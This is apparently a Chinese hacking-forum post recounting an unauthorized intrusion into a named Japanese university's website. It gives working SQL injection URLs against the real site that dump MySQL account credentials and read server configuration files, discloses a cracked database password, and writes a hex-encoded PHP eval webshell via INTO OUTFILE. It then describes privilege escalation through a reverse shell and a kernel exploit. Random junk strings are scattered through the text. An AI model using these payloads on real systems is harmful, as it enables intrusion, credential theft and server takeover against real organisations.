入侵日本同志社大学

admin

入侵日本同志社大学技术分析

- B' C. Y! ]$ u; b# Q4 U# qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
然后联合查询，猜字段，查版本，查密码，读取文件…….就是各种查啊，语句是：
; @. F2 T- N7 }; [, c$ r' E
: B, ~: ^2 G1 B! fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ P* G4 @3 e! A6 {4 K
2 l( b5 U7 G. X
! q* O( i# `" d! [* \* g
//@@datadir为数据库文件路径
% n; O1 x1 a; W7 ^, A8 A
  r5 w7 y1 d8 q6 \6 `0 Q3 B
//load_file读取网站容器apache的配置文件


//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
! C$ Y$ `( i1 _* S, Y, B$ Q复制代码

( v5 x. h: ^$ Y! c" H/ E0 w2 A4 e虽然解得MySQL的root账户密码为mysql00，但是host为localhost，只允许本机登陆，所以用处不大。

而且Apache的配置文件显示，服务器拒绝非该大学的ip访问/admin/和phpMyAdmin，所以即使爆出管理员账户密码也没用。
(大家对以上各种查和语句不太懂的可以参考以下文章：http://bbs.blackbap.org/thread-2243-1-1.html)
$ ~, R# t- e6 k+ Z: N' j! E
前面load_file是因为发现了各文件夹权限限制的死，不允许外校ip登陆，所以就猜了一下apache的配置文件绝对路径为默认，后来发现还真的是默认的路径。
如果知道怎么猜apache配置文件的路径的请参考以下文章：http://bbs.blackbap.org/thread-2242-1-1.html
7 x* \2 Y) e) e) A8 d4 k( J  a
; P7 T# b1 p2 F" \, T# y/ X既然已经知道了Apache的配置文件的内容，我们也就轻易知道了网站物理路径，路径为：/http/www/koho/
虽然/admin和phpMyAdmin的目录都限制了，但是想了想，我们只要有注入点就可以可以写入shell了，因为php的GPC为off，怎么判断为off我就不说了。
" Q1 U4 L1 H5 M' x/ x) ?& O直接写一句话：
" ?9 e# w3 H( j: R9 S/ P
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
# e4 F9 F& T+ E3 k. |

4 y# v2 m, T& C# l, M1 r: o
//最后的#是为了闭合前面的语句


/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E


0 O. ]& x5 a2 |. r2 b# \! w为一句话<?php @eval($_POST['cmd']);?>的HEX编码，不懂(HEX编码)的话Google一下就好*/

3 w' b5 H; N% O. o4 P' ?8 m  O, f
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同，所以select 1,2,3,4…来执行注入语句
' r/ ]  V! G( r: I2 j1 Z( ?
( B: A; `6 a" n
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中，可能会导致一句话执行错误
* Y7 j2 V. y8 T( Y7 L( U  o//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
复制代码
+ C1 [3 E0 H1 k6 v$ c! e( k
: U. D9 ~: p5 ]! V, D3 i# p3 xHEX其实就是十六进制编码，不知道这个编码的话，去搜一下好了，HEX编码转换在线本地各种工具各种有
+ m9 M% z* f6 k9 i7 H0 O通过上述注入语句，我们就得到了一句话木马:

7 x; _' W5 Q$ Z% |5 K


8 Y" T3 N( V0 W! g2 N2 T5 ~5 `$ D
( z' p7 q- e: j" \8 H1 S9 z) S; }4 Whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
/ W& I" F) A0 S% ]. ?. b复制代码

用菜刀连接，密码是cmd，如图所示：
! ^2 ?3 V" I8 p; c" _1 o+ p然后在命令提示行里看了一下，现在的权限是：
8 v: z5 o' r5 I, \5 L8 I8 L5 P
之后按照惯例我看了一下/tmp/文件夹，发现/TMP/权限居然被禁掉了，很少有服务器禁掉这个文件夹的。
好在赋权给这个文件夹不需要root，直接执行赋权语句：

: Z/ I. O, }! c% M1 Y( @


* c9 J: ?( a( W9 L9 H6 v( T* ?
chmod +x /tmp/
, D0 P' N; I% Z复制代码

在这说一下，linux里面的文件夹跟文件一样，执行命令自然也可以按照像文件一样的执行
! x6 Z. u& f6 d) S然后就查了一下内核版本：
0 K/ o, R. b1 {( i5 B% K6 [
: {, F1 a& G& Z8 W% Z) m8 V



uname-a
- T% e7 ]! i7 W7 @  X* p
) O5 p$ h9 [8 _& P  j9 K
//其实lsb_release -a
' M4 ^0 d# y; ]/ x8 K$ \5 k复制代码

如图所示：

内核版本：linux mainz1 2.6.28-194.e15
系统描述为：Red Hat Enterprise Linux Server release 5.5 (Tikanga)
查完了系统版本之后就去找找相应的提权脚本！~然后传到/tmp/文件夹

! [/ c4 a+ p+ X4 L# \2 a然后给予执行权限
一般我都是传上去c源文件，然后”gcc -o /tmp/程序 /tmp/C源码”这样，如果gcc不能用，在其他机器编译好了直接传上去其实也可以，就像这样
3 q" h0 A' K8 M
: H7 {( Z* `; W) ^0 [6 ]
2 r# k6 o3 j8 f/ P7 D3 E
! x* A0 f3 z* M8 J# F: j
. o, v& N4 s: o. V3 @
  W6 i6 n9 e8 t/ ?chmod +x /tmp/2.6.18-194
6 W" b5 U5 }4 D9 f, Z1 t( F# ]复制代码 然后直接执行！~
2 ~. y8 Y. Q; y
) x. a/ Z# v0 E1 t1 V7 M$ R( t总结：
, O  I* _  h/ `) q% l! N这个注入点的基本思路就是，发现MySQL账户为root，GPC设置为off，搞到了物理路径就直接写Webshell了
9 p! l6 O2 I+ Z提权部分原理就是，本地监听端口，将对方机器反弹回cmdshell来，然后把和内核版本对应的EXP传上去，编译运行，得到root

" {0 b1 V. V; i